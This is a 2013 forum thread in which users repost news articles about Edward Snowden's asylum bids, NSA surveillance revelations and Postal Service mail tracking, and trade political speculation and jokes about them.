Post by: sky otter on July 01, 2013, 04:08:05 pm


i smell a big rat


http://www.bbc.co.uk/news/world-europe-23138073

1 July 2013 Last updated at 18:07 ET Share this pageEmail Print Share this page

Edward Snowden 'applies for asylum in Russia'

Vladimir Putin: "He should cease his work aimed at damaging our American partners"

US intelligence leaker Edward Snowden has applied to Russia for political asylum, a Russian official says.

Foreign ministry consul Kim Shevchenko said the request was made on Sunday night. The Kremlin has made no comment.

The 30-year-old former CIA analyst is believed to be holed up in a Moscow airport hotel. He is wanted by the US.

Earlier, Russian President Vladimir Putin said Moscow "never hands over anybody anywhere and has no intention of doing so".

"If [Snowden] wants to go somewhere and there are those who would take him, he is welcome to do so," he told a news conference.

"If he wants to stay here, there is one condition: He must stop his activities aimed at inflicting damage on our American partners, no matter how strange it may sound coming from my lips."

The US, where Mr Snowden faces charges of espionage, has not yet made any comment on the latest developments.

It was thought Mr Snowden had been seeking asylum in Latin America, possibly Ecuador whose embassy in London is sheltering Wikileaks founder Julian Assange.

Details have emerged of a letter from Mr Snowden to Ecuador's President Rafael Correa, thanking the country for guaranteeing "my rights would be protected upon departing Hong Kong - I could never have risked travel without that".

He tells President Correa of his "great personal admiration of your commitment to doing what is right rather than what is rewarding".

US 'hopeful'
 
President Barack Obama, speaking earlier in Tanzania, said Washington and Moscow had held "high level" discussions about Mr Snowden.



Analysis
 
Steve Rosenberg
 
BBC News, Moscow
 
--------------------------------------------------------------------------------
If it was up to the Russian parliament, Edward Snowden's asylum application might already have been signed and sealed. Fuelled by anti-US sentiment, Russian MPs have been queuing up to support it.

But it will not be parliament that decides: it will be the Kremlin. Earlier, President Putin appeared to suggest it was unlikely Mr Snowden would remain in Russia. The 30-year-old American could stay, he said, on one condition: that he stops damaging Russia's "American partners" with his leaks. The Kremlin leader added that Mr Snowden probably would not agree to that, and therefore should choose an onward destination and go there.

Might that destination be Venezuela? The Venezuelan president is currently in Moscow attending a gas exporters' summit. He is due to meet President Putin for talks on Tuesday. It is hard to imagine Edward Snowden's fate would not be on the agenda.
"We don't have an extradition treaty with Russia," he said. "On the other hand, Mr Snowden, we understand, has travelled there without a valid passport and legal papers.

"And we are hopeful the Russian government makes decisions based on the normal procedures regarding international travel and the normal interactions law enforcement have."

Some Russian politicians and human rights campaigners are publicly backing Mr Snowden's request, the BBC's Steve Rosenberg reports from Moscow.

If it is granted, the US will be furious but President Putin could claim it is simply the will of the Russian people, he adds.

'Ironclad assurances'
 
According to Russia's Interfax news agency, Mr Snowden's application for asylum was handed to a consular official at Moscow's Sheremetyevo Airport late on Sunday evening.

The application was delivered by Sarah Harrison, a member of the Wikileaks legal team acting as Mr Snowden's representative, Kim Shevchenko was quoted by the news agency saying.

Russia's Federal Migration Service has denied the reports.

The LA Times quoted a Russian foreign ministry official as saying Mr Snowden had applied to 15 countries for asylum.

Mr Snowden has reportedly been in the transit area of Sheremetyevo Airport since arriving there from Hong Kong on 23 June.




Start Quote
We cannot accept this kind of behaviour between partners and allies”
End Quote
Francois Hollande
 
French President
 
Is it OK to spy on your friends?
He flew there soon after revealing himself to be the source behind the leaking of thousands of classified documents showing the extent of US email and telephone surveillance.

His father, Lon Snowden, in a letter to the attorney general seen by the BBC at the weekend, said he thought his son would return voluntarily to the US if there were "ironclad assurances that his constitutional rights would be honoured".

'Bugging friends unacceptable'
 
Meanwhile, Washington is facing the fall-out over claims published at the weekend of alleged spying by the US security services on the embassies and missions of its EU allies, including France, Italy and Greece.

The European Commission called the claims "disturbing news if proven true" and said it expected "clarity and transparency" about the issue from Washington.

President Obama: "We have gone through regular law-enforcement channels"
A spokesman for German Chancellor Angela Merkel said "bugging friends is unacceptable... We are no longer in the Cold War".

French President Francois Hollande indicated that a major US-EU trade deal - to be negotiated next week - was under threat unless the US could give a guarantee that its surveillance of the EU had ended.

"We cannot accept this kind of behaviour between partners and allies. We ask that this immediately stop," he told journalists during a visit to western France.

Responding to the claims, President Obama said that all nations with intelligence services tried to understand what other nations were thinking, but that if he wanted to know what a European leader was thinking, he would call that person himself.
Title: Re: they know what you are doing
Post by: burntheships on July 01, 2013, 04:34:03 pm

i smell a big rat



Yes, I had that waft across my keyboard this morning.

All I can say is spy games are dangerous, I would not
want to end up in Russia ever.
Title: Re: they know what you are doing
Post by: stealthyaroura on July 01, 2013, 05:01:32 pm


want to end up in Russia ever.
(https://si0.twimg.com/profile_images/2318382796/1qoecy0o207kvgf6041v.jpeg)

speak for yaself LOL
Title: Re: they know what you are doing
Post by: sky otter on July 01, 2013, 07:33:41 pm

it's not looking good for snowden..i wander what putin will ask for in exchange..?



http://www.bbc.co.uk/news/world-europe-23139980

1 July 2013 Last updated at 20:31 ET Share this pageEmail Print Share this page

Snowden accuses Obama of blocking asylum requests
 
just what did he think would happen..they would throw him a going away party..hummmmmmmmm
well they might yet...

Edward Snowden is believed to be staying at Moscow's Sheremetyevo airport

US intelligence leaker Edward Snowden has accused President Barack Obama of denying him his right to asylum, in a statement published by Wikileaks.

It is his first public announcement since flying to Russia on 23 June, where he has applied for asylum.

The former CIA analyst, who is holed up in a Moscow airport hotel, is wanted by the US on charges of espionage.

He says President Obama is putting pressure on the countries from which he has requested political asylum.

"The president ordered his vice president to pressure the leaders of nations from which I have requested protection to deny my asylum petitions," he is quoted by Wikileaks as saying.

"This kind of deception from a world leader is not justice, and neither is the extralegal penalty of exile. These are the old, bad tools of political aggression. Their purpose is to frighten, not me, but those who would come after me."

In the statement, Mr Snowden describes himself as "a stateless person", accusing the US government of stopping him from exercising the "basic right...to seek asylum".

On Sunday night, the 30-year-old fugitive applied for asylum in Russia, according to foreign ministry consul Kim Shevchenko.

Vladimir Putin: "He should cease his work aimed at damaging our American partners"
The request was reportedly submitted by Sarah Harrison, a British member of the Wikileaks legal team acting as Mr Snowden's representative.

However, the Kremlin has so far made no comment.

Earlier, Russian President Vladimir Putin said Moscow "never hands over anybody anywhere and has no intention of doing so".

He suggested Mr Snowden could stay on the condition he stops damaging Russia's "American partners" with his leaks.

The leaking of thousands of classified intelligence documents has led to revelations that the US is systematically seizing vast amounts of phone and web data.

'High-level discussions'
 
Mr Snowden is thought to be seeking asylum in Latin America, particularly in Ecuador whose embassy in London is sheltering Wikileaks founder Julian Assange.

 
Steve Rosenberg
 
BBC News, Moscow
 
--------------------------------------------------------------------------------
If it was up to the Russian parliament, Edward Snowden's asylum application might already have been signed and sealed. Fuelled by anti-US sentiment, Russian MPs have been queuing up to support it.

But it will not be parliament that decides: it will be the Kremlin. Earlier, President Putin appeared to suggest it was unlikely Mr Snowden would remain in Russia. The 30-year-old American could stay, he said, on one condition: that he stops damaging Russia's "American partners" with his leaks. The Kremlin leader added that Mr Snowden probably would not agree to that, and therefore should choose an onward destination and go there.

Might that destination be Venezuela? The Venezuelan president is currently in Moscow attending a gas exporters' summit. He is due to meet President Putin for talks on Tuesday. It is hard to imagine Edward Snowden's fate would not be on the agenda.
Ecuador's President Rafael Correa told the Agence France-Presse news agency on Monday that his country would process Mr Snowden's asylum request if he manages to enter an Ecuadorean embassy.

However, if he can complete his asylum request on Russian territory , then "the situation can be processed and resolved there," President Correa adds.

Details have also emerged of a letter from Mr Snowden to President Correa, thanking Ecuador for guaranteeing "my rights would be protected upon departing Hong Kong - I could never have risked travel without that".

He tells President Correa of his "great personal admiration of your commitment to doing what is right rather than what is rewarding".

Speaking in Tanzania on Monday, President Barack Obama said Moscow and Washington had held "high level discussions" about Mr Snowden.

"We don't have an extradition treaty with Russia," he said. "On the other hand, Mr Snowden, we understand, has travelled there without a valid passport and legal papers."

Mr Snowden has reportedly been in the transit area of Sheremetyevo Airport since arriving there from Hong Kong on 23 June.

While it remains unclear in which other countries he has applied for asylum, the LA Times recently quoted a Russian foreign ministry official as saying Mr Snowden had applied to some 15 countries.
Title: Re: they know what you are doing
Post by: spacemaverick on July 01, 2013, 07:41:46 pm
I have no proof for what I am about to say and it is just  a wild opinion or speculation.  His continued leaking of information could reveal cooperation between the highest levels of Russia and the highest levels of America and would be embarrassing to both powers.  Collaboration maybe?  For what you might ask?  Look at the road the US Government has been taking in past years and the slide towards a different political slant or ideal.  Makes me wonder about how close to a Russian style of government we are becoming.  Like I said....wild speculation on my part.
Title: Re: they know what you are doing
Post by: burntheships on July 01, 2013, 08:57:58 pm
Makes me wonder about how close to a Russian style of government we are becoming. 

I think you have a valid insight here, look at Obama
and Putin. Mr. O....aka known as Mr. Flexibility.

Now Putin says sure Snowden can come on in if he stops
leaking our American freinds intel.

Spy vs Spy.

Title: Re: they know what you are doing
Post by: Gigas on July 01, 2013, 10:11:54 pm
If snowden fails to shut up, putin will shut snowden away with pussy riot. Well maybe, I don't really know cause this is a made for TV show and anythings going to happen with this
Title: Re: they know what you are doing
Post by: sky otter on July 02, 2013, 04:03:12 am

ahh now it is getting curiouser and curiouser..nobody wants him

on a side note can anyone access huff post?..i can't  - not even from older links..i wonder what that is about


http://www.bbc.co.uk/news/world-europe-23139980

2 July 2013 Last updated at 05:56 ET

Edward Snowden 'broadens asylum requests' - Wikileaks
 Edward Snowden is believed to be staying at Moscow's Sheremetyevo airport
Fugitive US intelligence leaker Edward Snowden has sent asylum requests to 21 countries, according to a statement published by Wikileaks.

They include China, France, Ireland and Venezuela. But seven European countries said the requests were invalid.

And Russia said Mr Snowden later withdrew the application to Moscow as the Kremlin had set conditions.

He accuses US President Barack Obama of putting pressure on the countries to which he has applied.

The former intelligence systems analyst, who is holed up at Moscow airport, is wanted by the US on charges of leaking secrets.

Vladimir Putin's warning to Mr Snowden that he should stop "harming our American partners" is indicative of a significant shifting of gear. Russia now has ownership of the Snowden affair. What happens to Mr Snowden will depend upon Russia's calculations and what serves Russia's interests.

The authorities in Moscow could have moved Mr Snowden on quickly, joining the diplomatic game of pass-the-parcel that began in Hong Kong. But the longer the errant US intelligence analyst stays in limbo at the Moscow airport, so the more Russia has become a central actor in this drama.

Russia must balance a range of factors in seeking to determine Mr Snowden's fate - the risk of a serious rift with Washington and Russia's own standing as an international actor that upholds the legal order must be set against the strong vein of sympathy for Mr Snowden amongst Russian public opinion.

US Secretary of State John Kerry raised Mr Snowden's case in talks with his Russian counterpart Sergei Lavrov on the sidelines of the Asean summit in Brunei.But Mr Kerry said the two did not discuss the matter substantively ."I did raise the issue of Mr Snowden but that is not his portfolio, nor is it mine, but it is being handled within the justice department," he said, quoted by Reuters news agency.

'Not an agent'
 
The Wikileaks press release said that most of the asylum requests - including to Russia itself - were handed to the Russian consulate at Sheremetyevo airport late on Sunday for delivery to the relevant embassies in Moscow.

The requests were submitted by Sarah Harrison, a British member of the Wikileaks legal team acting as Mr Snowden's representative, the statement added.But Kremlin spokesman Dmitry Peskov later said Mr Snowden withdrew the application to Russia because Moscow had said he should give up "anti-American activity"."After learning of Russia's position yesterday, voiced by President Putin ... he abandoned his intention [of staying] and his request to be able to stay in Russia," he said.

Russian President Vladimir Putin had said that while Moscow "never hands over anybody anywhere", Mr Snowden could only stay on condition that he stopped damaging Russia's "American partners" with his leaks.

Mr Snowden has reportedly been in the transit area of Sheremetyevo since arriving there from Hong Kong on 23 June.

Mr Peskov confirmed he was still there and had not crossed into Russian territory, adding that the former analyst had never been a Russian agent and had never worked with its intelligence services.

Norway, Poland, Germany, Austria, Finland, Spain and Switzerland said asylum requests could only be made on their soil.

Venezuelan President Nicolas Maduro, who is on a visit to Moscow, said Caracas had not yet received an asylum application from Mr Snowden but that he had "done something very important for humanity" and "deserved the world's protection".

"The world's conscience should react, the world youth should react, the decent people who want a peaceful world should react, everyone should react and find solidarity with this young man who has denounced and altered the world that they [the US] pretend to control."

Mr Snowden had previously submitted an application to Ecuador, whose embassy in London is sheltering Wikileaks founder Julian Assange, and to Iceland.

 Ecuador's President Rafael Correa told the Agence France-Presse news agency on Monday that his country would process Mr Snowden's asylum request if he managed to enter an Ecuadorean embassy.

However, if he can complete his asylum request on Russian territory , then "the situation can be processed and resolved there," President Correa added.

Details have also emerged of a letter from Mr Snowden to President Correa, thanking Ecuador for guaranteeing "my rights would be protected upon departing Hong Kong - I could never have risked travel without that".

'Stateless person'
 
Speaking in Tanzania on Monday, President Barack Obama said Moscow and Washington had held "high level discussions" about Mr Snowden, who he said had travelled to Moscow without valid documents.

Mr Snowden describes himself as "a stateless person", accusing the US government of stopping him from exercising the "basic right...to seek asylum".

"The president ordered his vice president to pressure the leaders of nations from which I have requested protection to deny my asylum petitions," he is quoted by Wikileaks as saying.

"This kind of deception from a world leader is not justice, and neither is the extralegal penalty of exile. These are the old, bad tools of political aggression. Their purpose is to frighten, not me, but those who would come after me."

The leaking of thousands of classified intelligence documents has led to revelations that the US is systematically seizing vast amounts of phone and web data.

..........

Analysis
 
Jonathan Marcus
 
BBC diplomatic correspondent
 
--------------------------------------------------------------------------------

Vladimir Putin's warning to Mr Snowden that he should stop "harming our American partners" is indicative of a significant shifting of gear. Russia now has ownership of the Snowden affair. What happens to Mr Snowden will depend upon Russia's calculations and what serves Russia's interests.

The authorities in Moscow could have moved Mr Snowden on quickly, joining the diplomatic game of pass-the-parcel that began in Hong Kong. But the longer the errant US intelligence analyst stays in limbo at the Moscow airport, so the more Russia has become a central actor in this drama.

Russia must balance a range of factors in seeking to determine Mr Snowden's fate - the risk of a serious rift with Washington and Russia's own standing as an international actor that upholds the legal order must be set against the strong vein of sympathy for Mr Snowden amongst Russian public opinion.
Title: Re: they know what you are doing
Post by: deuem on July 02, 2013, 07:36:33 am

i smell a big rat


(http://i1198.photobucket.com/albums/aa458/deuem/ShortHairGif.gif) (http://s1198.photobucket.com/user/deuem/media/ShortHairGif.gif.html)
 
Deuem
Title: Re: they know what you are doing
Post by: spacemaverick on July 02, 2013, 09:06:29 am
This is a portion of a story from the Daily Beast.

"This whole Snowden charade is entirely in keeping with Putin’s technique of having it both ways. He gets to look like a tough guy for standing up to Obama on an issue that matters to Putin not at all while at the same time he pretends he is cooperating as best he can. If Snowden were actually valuable there would be no public show. He’d be in a bunker deep under KGB headquarters, and the Kremlin would be in full denial mode. Or he’d likely never have been let out of China. And as at the G8 meeting, other leaders are too afraid to challenge this flagrant hypocrisy, which further emboldens Putin."

For the entire story click on the link.

http://www.thedailybeast.com/articles/2013/07/02/putin-toys-with-obama-as-syria-burns-and-snowden-runs-free.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+thedailybeast%2Farticles+%28The+Daily+Beast+-+Latest+Articles%29

Snowden is a political pawn.
Title: Re: they know what you are doing
Post by: burntheships on July 02, 2013, 10:32:16 am
At this point, I have to say it seems Snowden was a bit
naive in the foresight of his options once he went
public.

Yes, the violation of our civil rights with the intrusive
surveillance by the NSA in the name of the war on terror
(which in itself is a complete lie) is unconstitutional,
however even thinking that "leaking" this stuff to the press
was going to change that was rather unrealistic.

Not that we dont have a terrorist problem,
as we do. But...howcome they miss the real
perps so much?

I wonder if he was looking at Julian Assange and thinking
he could also get away with this to a large degree?
Thing is Assange was not an American Citizen.

Title: Re: they know what you are doing
Post by: sky otter on July 02, 2013, 03:32:10 pm
   :'( :'(             i'm thinking nsa =  tip of an iceberg
          :'(           usa = titanic

i'm also thinking infighting of known and secret agencies within the gub

we might need to find us some prepper friends soon





http://www.huffingtonpost.com/2013/07/02/glenn-greenwald-fox-news-world-shocked_n_3533536.html

Glenn Greenwald To Fox News: 'The World Will Be Shocked' By New NSA Stories (VIDEO)
The Huffington Post  |  By Jack Mirkinson Posted: 07/02/2013 9:23 am EDT  |  Updated: 07/02/2013 9:40 am EDT



Glenn Greenwald told Fox News on Tuesday that the "world will be shocked" by upcoming revelations about the National Security Agency's surveillance.

Greenwald spoke to the network's Eric Bolling, who has been a defender of Edward Snowden, the leaker who passed the NSA documents to the Guardian. Bolling asked him to divulge some information about what he has planned next, but Greenwald was coy.

"You're going to have to wait along with everybody else," he said. "I will say that there are vast programs, both domestic and international spying, that the world will be shocked to learn about, that the NSA is engaged in with no democratic accountability and that's what driving our reporting."

Greenwald also said that he has not been in touch with Snowden since he left Hong Kong.



Title: Re: they know what you are doing
Post by: burntheships on July 02, 2013, 03:42:00 pm
Uh oh...

Well, Mr. Greenwald, please get 24 hour surveillance with
RFID tracking, and body gaurds.

You are going to need it.
Title: Re: they know what you are doing
Post by: Sgt.Rocknroll on July 02, 2013, 05:25:24 pm
(http://i1135.photobucket.com/albums/m623/Sgt_Rocknroll/IMG_0554_zps7f5b3b59.jpg) (http://s1135.photobucket.com/user/Sgt_Rocknroll/media/IMG_0554_zps7f5b3b59.jpg.html)

Drinking my coffee this morning at work and I hadn't noticed the key before....hhhmmmmm ::)
Title: Re: they know what you are doing
Post by: burntheships on July 02, 2013, 06:24:53 pm
 8)

Title: Re: they know what you are doing
Post by: zorgon on July 02, 2013, 06:26:40 pm
I have a CIA Lapel pin...  :D

(https://www.vetfriends.com/catalog/images/3795_CIA_Hat_lapel_Pin_2.jpg)
Title: Re: they know what you are doing
Post by: spacemaverick on July 02, 2013, 06:48:17 pm
Beyond Snowden: US General Cartwright has been indicted for espionage
JULY 2, 2013 BY 21WIRE

While the world focuses on Washington’s pursuit of NSA whistleblower Ed Snowden, another much more high ranking member of the US power structure has been indicted for espionage this week…

US General James Cartwright was regarded by Washington insiders as ‘Obama’s General’, and now he’s facing prosecution for blowing the whistle on ‘Operation Olympic Games’ which planted the Stuxnet and Flame viruses in Iranian nuclear facilities in order derail Iran’s civilian nuclear program. At closer examination, it appears that Cartwright’s revelations didn’t so much harm US interests per say, but they hindered Israeli ambitions towards a war with Iran.

But why espionage? What is the line between “whistleblowing” and “espionage” in America today?

Journalist Thierry Meyssan give us a historical perspective and tells is what it really means…

http://21stcenturywire.com/2013/07/02/beyond-snowden-us-general-cartwright-has-been-indicted-for-espionage/

It appears everything is starting to come out of the bag...well not everything...people are getting thrown under the bus.
Title: Re: they know what you are doing
Post by: burntheships on July 02, 2013, 07:09:45 pm
Espionage

[youtube]cfbajYYNEdY[/youtube]
Title: Re: they know what you are doing
Post by: sky otter on July 02, 2013, 08:45:59 pm


wow..you couldn't make up this stuff..

do you remember the old game of hot potato..?


http://www.huffingtonpost.com/2013/07/02/bolivia-snowden_n_3536962.html

Bolivian Minister: Morales' Plane Rerouted On Suspicion Snowden On Board

By PHILIPP-MORITZ JENNE and CARLOS VALDEZ 07/02/13 10:41 PM ET EDT 



VIENNA — The plane carrying Bolivian President Evo Morales was rerouted to Austria after France and Portugal refused to let it cross their airspace because of suspicions that NSA leaker Edward Snowden was on board, Bolivian officials said Tuesday.

Officials in both Austria and Bolivia said that Snowden was not on the plane, which was taking Morales home from a summit in Russia, where he had suggested that his government would be willing to consider granting asylum to the American.

A furious Bolivian Foreign Minister David Choquehuanca said France and Portugal would have to explain why they canceled authorization for the plane, claiming that the decision had put the president's life at risk.

"We don't know who invented this lie" that Snowden was traveling with Morales, Choquehuanca said in La Paz. "We want to denounce to the international community this injustice with the plane of President Evo Morales."

He said that after France and Portugal canceled authorization for the flight, Spain's government allowed the plane to be refueled in its territory. From there the plane flew on to Vienna.

French government officials reached overnight said they could not confirm whether Morales' plane was denied permission to fly over France.

Officials at Portugal's Foreign Ministry and National Civil Aviation Authority could not be reached to comment.

Leaks by Snowden, a former NSA systems analyst, have revealed the NSA's sweeping data collection of U.S. phone records and some Internet traffic, though U.S. intelligence officials have said the programs are aimed at targeting foreigners and terrorist suspects mostly overseas.

He is believed to be in a Moscow airport transit area, seeking asylum from one of more than a dozen countries.

"This is a plot by the U.S. government to destroy president Morales' image," said Bolivian Defense Minister Ruben Saavedra at the VIP terminal of Vienna's airport. "We want to declare very firmly that it was an American story that Edward Snowden was on this flight."

Morales himself was present during the improvised press conference but chose not to speak to reporters. Morales will remain at the airport until his plane has been cleared for take-off.

Austrian Foreign Ministry spokesman Alexander Schallenberg told The Associated Press that Snowden was not with Morales.

Snowden has applied for asylum in Venezuela, Bolivia and 18 other countries, according to WikiLeaks, a secret spilling website that has been advising him. Many European countries on the list – including Austria, Finland, Ireland, the Netherlands, Norway, Spain and Switzerland – said he would have to make his request on their soil.

One of Snowden's best chances of finding refuge outside the United States may hinge on Venezuelan President Nicolas Maduro, who was also in Russia on Tuesday.

Maduro told Russian reporters that his country has not received an application for asylum from Snowden and dodged the question of whether he would take him with him when he left.

But Maduro also defended the former National Security Agency systems analyst.

"Who must protect Snowden? This is the question. This young man of 29 was brave enough to say that we need to protect the world from the American imperial elite, so who should protect him?" Maduro said in response to a question from journalists covering a ceremony to rename a Moscow street after Chavez. "All of mankind, people all over the world must protect him."

Maduro was scheduled to spend Wednesday in neighboring Belarus before returning to Venezuela.

In Venezuela, Foreign Minister Elias Jaua said that changing the flight's route without checking on how much fuel it had put the endangered Morales.

"All the countries that have denied permission for the flight of our brother president, Evo Morales, must be held responsible for his life and his dignity as president."

Another possible landing spot for Snowden is Ecuador, where Wikileaks founder and publisher Julian Assange has been seeking asylum.

"We are willing to analyze Mr. Snowden's request for asylum and this position has not changed," said Ecuadorean Foreign Minister Ricardo Patino on Tuesday. "What we have said is that we will be able to analyze the request when Mr. Snowden is in Ecuadorean territory or in an Ecuadorean mission."

Patino added that two weeks ago a hidden microphone was found in Ecuador's embassy in London, where Assange is holed up. "We want to find out with precision what the origin of the apparatus is."

Snowden, who recently turned 30, withdrew a bid for asylum in Russia when he learned the terms Moscow had set out, according to Putin's spokesman Dmitry Peskov. Putin said on Monday that Russia was ready to shelter Snowden as long as he stopped leaking U.S. secrets.

At the same time, Putin said he had no plans to turn over Snowden to the United States.

Rebuffed by Russia's president, the Obama administration has recently toned down demands Snowden be expelled from the Moscow airport in a sign that the U.S. believes he is not worth scuttling diplomatic relations between the former Cold War enemies.

On Monday, WikiLeaks posted a statement attributed to Snowden on its website, in which he slams Obama for "using citizenship as a weapon."

"Although I am convicted of nothing, (the United States) has unilaterally revoked my passport, leaving me a stateless person," Snowden says in the statement. "Without any judicial order, the administration now seeks to stop me exercising a basic right. A right that belongs to everybody. The right to seek asylum.

"Their purpose is to frighten, not me, but those who would come after me."

____

Associated Press writer George Jahn contributed to this report from Vienna, Austria, and Carlos Valdez from La Paz, Bolivia.
Title: Re: they know what you are doing
Post by: spacemaverick on July 02, 2013, 09:12:23 pm
Hot potato or 3 card monte or Where's Waldo?  Why in the world all this confusion?  Nobody wants to give him asylum.  What are they afraid of or who are they afraid of that might cause countries to say "no?"  If by revealing more he may be revealing that all heads of state or at least major heads of state are manipulating the rest of the world....just wild speculation on my part.  Or could it be as simple as "we are afraid of what the US may do to us?  This is becoming more complex by the hour.
Title: Re: they know what you are doing
Post by: burntheships on July 02, 2013, 09:27:28 pm
Hot potato or 3 card monte or Where's Waldo?  Why in the world all this confusion? 

It is just my opinion here: I think they are going to put the heat on this
way. Out of one side of the mouth Obama says he is not going to
expend energy in pursuit - on the other hand anyone who aids
him there will be hell to pay.

Its a way of making the target become a burden to anyone who wishes
to aid him. Again, imo.
Title: Re: they know what you are doing
Post by: zorgon on July 02, 2013, 09:36:07 pm
Extra Extra Read all about it!!

Hot off the NSA press

Read all about it!

Get your copy NOW before they are all gone



NSA PRISM LEAKS
https://www.dropbox.com/sh/zfznsi5h2l54oqj/fqMeilBSVT
Title: Re: they know what you are doing
Post by: zorgon on July 02, 2013, 09:39:23 pm
(https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-prn1/q71/993910_626497614036460_82233257_n.jpg)


Michelle Obama: Being First Lady is like living in a ‘really nice prison’ (http://washingtonexaminer.com/michelle-obama-being-first-lady-is-like-living-in-a-really-nice-prison/article/2532604)
Title: Re: they know what you are doing
Post by: burntheships on July 02, 2013, 09:45:47 pm
Michelle Obama: Being First Lady is like living in a ‘really nice prison’ (http://washingtonexaminer.com/michelle-obama-being-first-lady-is-like-living-in-a-really-nice-prison/article/2532604)

This has to be meant to foment...or is she that ungrateful, that
blind, that callous? Even the word "Prison" ....does she even
think before she speaks?

 :o
Title: Re: they know what you are doing
Post by: spacemaverick on July 02, 2013, 10:18:50 pm
It is just my opinion here: I think they are going to put the heat on this
way. Out of one side of the mouth Obama says he is not going to
expend energy in pursuit - on the other hand anyone who aids
him there will be hell to pay.

Its a way of making the target become a burden to anyone who wishes
to aid him. Again, imo.

I believe you may be right.  That's the only thing that seems to be along his line of thinking.  Make it hot for everyone else and his administration does not have to expend that much energy or manpower and everyone else will do his bidding.
Title: Re: they know what you are doing
Post by: petrus4 on July 02, 2013, 10:43:54 pm
NSA PRISM LEAKS
https://www.dropbox.com/sh/zfznsi5h2l54oqj/fqMeilBSVT


I'm looking through these pdfs now.  It's exactly what we got with the supposedly sensational Wikipedia cable dump; the sorts of boring, largely inconsequential memoranda that military and government peons bounce back and forth between each other on a daily basis.  There's nothing really juicy here at all, that I can see.

I suppose you could say that the "Net Ops Strategic Vision," document is vaguely interesting, but again, all it's really saying is that the DoD feels it needs to be more "agile," and it needs to "consolidate command and control."  Yawn.

That is hardly groundbreaking material.  If Snowden felt this stuff was worth risking his life over, and if the American government feels that it is worth risking international diplomatic cred for, then I think rather a lot of people need to seriously rethink their priorities.  The only time Uncle Sam needs to be concerned about me reading this, is if I'm in need of a good cure for insomnia. ;)
Title: Re: they know what you are doing
Post by: petrus4 on July 02, 2013, 10:59:30 pm
This has to be meant to foment...or is she that ungrateful, that
blind, that callous? Even the word "Prison" ....does she even
think before she speaks?

 :o

With respect, burntheships, your naivete is showing, here.  The single greatest problem that most who seek power have, is that they fail to realise that they will still be unhappy (if not become even moreso) once they get it.

Michelle Obama could definitely be considered fortunate in physical and logistical terms.  I'm sure she eats luxuriously, never has to worry about hypothermia, and is in visually gorgeous surroundings, most of the time. 

Yet the needs of the body and the needs of the spirit, are very often diametrically opposed.  She would never be able to go anywhere unscheduled, and whenever she did so, would have to be attended to by the Secret Service (America's Praetorians (http://en.wikipedia.org/wiki/Praetorian_Guard)) at all times, to avoid the possibility of abduction or assassination.  I also could not be paid enough, to live subjected to the negative aetheric bombardment which you can be sure that she and her husband are constantly under, due to the anger of the people.

To conclude, if Michelle Obama's position is judged purely in terms of physical requirements, then yes, it could be said that she is in a good position.  If we are to look at a person's less tangible needs, on the other hand, then the opposite becomes true.  A gilded cage can be just as much torture as a non-guilded one, in its' own ways.
Title: Re: they know what you are doing
Post by: sky otter on July 03, 2013, 01:46:36 pm


ohhh  did you really think this was over?..


U.S. Postal Service Logging All Mail for Law Enforcement
By RON NIXON
Published: July 3, 2013

 http://www.nytimes.com/2013/07/04/us/monitoring-of-snail-mail.html?_r=0

WASHINGTON — Leslie James Pickering noticed something odd in his mail last September: A handwritten card, apparently delivered by mistake, with instructions for postal workers to pay special attention to the letters and packages sent to his home.

“Show all mail to supv” — supervisor — “for copying prior to going out on the street,” read the card. It included Mr. Pickering’s name, address and the type of mail that needed to be monitored. The word “confidential” was highlighted in green.
“It was a bit of a shock to see it,” said Mr. Pickering, who owns a small bookstore in Buffalo. More than a decade ago, he was a spokesman for the Earth Liberation Front, a radical environmental group labeled eco-terrorists by the Federal Bureau of Investigation. Postal officials subsequently confirmed they were indeed tracking Mr. Pickering’s mail but told him nothing else.

As the world focuses on the high-tech spying of the National Security Agency, the misplaced card offers a rare glimpse inside the seemingly low-tech but prevalent snooping of the United States Postal Service.

Mr. Pickering was targeted by a longtime surveillance system called mail covers, but that is only a forerunner of a vastly more expansive effort, the Mail Isolation Control and Tracking program, in which Postal Service computers photograph the exterior of every piece of paper mail that is processed in the United States — about 160 billion pieces last year. It is not known how long the government saves the images.

Together, the two programs show that snail mail is subject to the same kind of scrutiny that the National Security Agency has given to telephone calls and e-mail.

The mail covers program, used to monitor Mr. Pickering, is more than a century old but is still considered a powerful tool. At the request of law enforcement officials, postal workers record information from the outside of letters and parcels before they are delivered. (Actually opening the mail requires a warrant.) The information is sent to whatever law enforcement agency asked for it. Tens of thousands of pieces of mail each year undergo this scrutiny.

The Mail Isolation Control and Tracking program was created after the anthrax attacks in late 2001 that killed five people, including two postal workers. Highly secret, it seeped into public view last month when the F.B.I. cited it in its investigation of ricin-laced letters sent to President Obama and Mayor Michael R. Bloomberg. It enables the Postal Service to retroactively track mail correspondence at the request of law enforcement. No one disputes that it is sweeping.

“In the past, mail covers were used when you had a reason to suspect someone of a crime,” said Mark D. Rasch, the former director of the Justice Department’s computer crime unit, who worked on several fraud cases using mail covers. “Now it seems to be ‘Let’s record everyone’s mail so in the future we might go back and see who you were communicating with.’ Essentially you’ve added mail covers on millions of Americans.”

Bruce Schneier, a computer security expert and an author, said whether it was a postal worker taking down information or a computer taking images, the program was still an invasion of privacy.

“Basically they are doing the same thing as the other programs, collecting the information on the outside of your mail, the metadata, if you will, of names, addresses, return addresses and postmark locations, which gives the government a pretty good map of your contacts, even if they aren’t reading the contents,” he said.

But law enforcement officials said mail covers and the automatic mail tracking program are invaluable, even in an era of smartphones and e-mail.

In a criminal complaint filed June 7 in Federal District Court in Eastern Texas, the F.B.I. said a postal investigator tracing the ricin letters was able to narrow the search to Shannon Guess Richardson, an actress in New Boston, Tex., by examining information from the front and back images of 60 pieces of mail scanned immediately before and after the tainted letters sent to Mr. Obama and Mr. Bloomberg showing return addresses near her home. Ms. Richardson had originally accused her husband of mailing the letters, but investigators determined that he was at work during the time they were mailed.

In 2007, the F.B.I., the Internal Revenue Service and the local police in Charlotte, N.C., used information gleaned from the mail cover program to arrest Sallie Wamsley-Saxon and her husband, Donald, charging both with running a prostitution ring that took in $3 million over six years. Prosecutors said it was one of the largest and most successful such operations in the country. Investigators also used mail covers to help track banking activity and other businesses the couple operated under different names.

Other agencies, including the Drug Enforcement Administration and the Department of Health and Human Services, have used mail covers to track drug smugglers and Medicare fraud.

